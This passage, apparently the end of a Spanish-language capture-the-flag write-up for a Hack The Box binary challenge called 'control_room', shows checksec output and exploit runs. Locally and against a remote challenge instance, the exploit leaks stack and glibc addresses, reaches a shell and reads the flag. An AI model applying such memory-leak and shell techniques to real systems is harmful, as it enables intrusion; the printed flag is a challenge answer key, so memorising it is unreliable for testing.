RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x3ff000)
RUNPATH: b'.'
[+] Starting local process './control_room': pid 287290
[*] Leaked stack address: 0x7ffcc72eb860
[*] Leaked write() address: 0x7f59718dda20
[+] Glibc base address: 0x7f59717c9000
[*] Switching to interactive mode
$ ls
banner.txt control_room ld-linux-x86-64.so.2 libc.so.6 solve.py
Flag
Vamos a por la instancia remota:
$ python3 solve.py 178.62.9.10:32211
[*] './control_room_test'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x3ff000)
RUNPATH: b'.'
[+] Opening connection to 178.62.9.10 on port 32211: Done
[*] Leaked stack address: 0x7ffefcdc3670
[*] Leaked write() address: 0x7f1270e9aa20
[+] Glibc base address: 0x7f1270d86000
[*] Switching to interactive mode
$ ls
banner.txt
challenge
flag.txt
libc.so.6
$ cat flag.txt
HTB{pr3p4r3_4_1mp4ct~~!}
El exploit completo se puede encontrar aquí: solve.py
.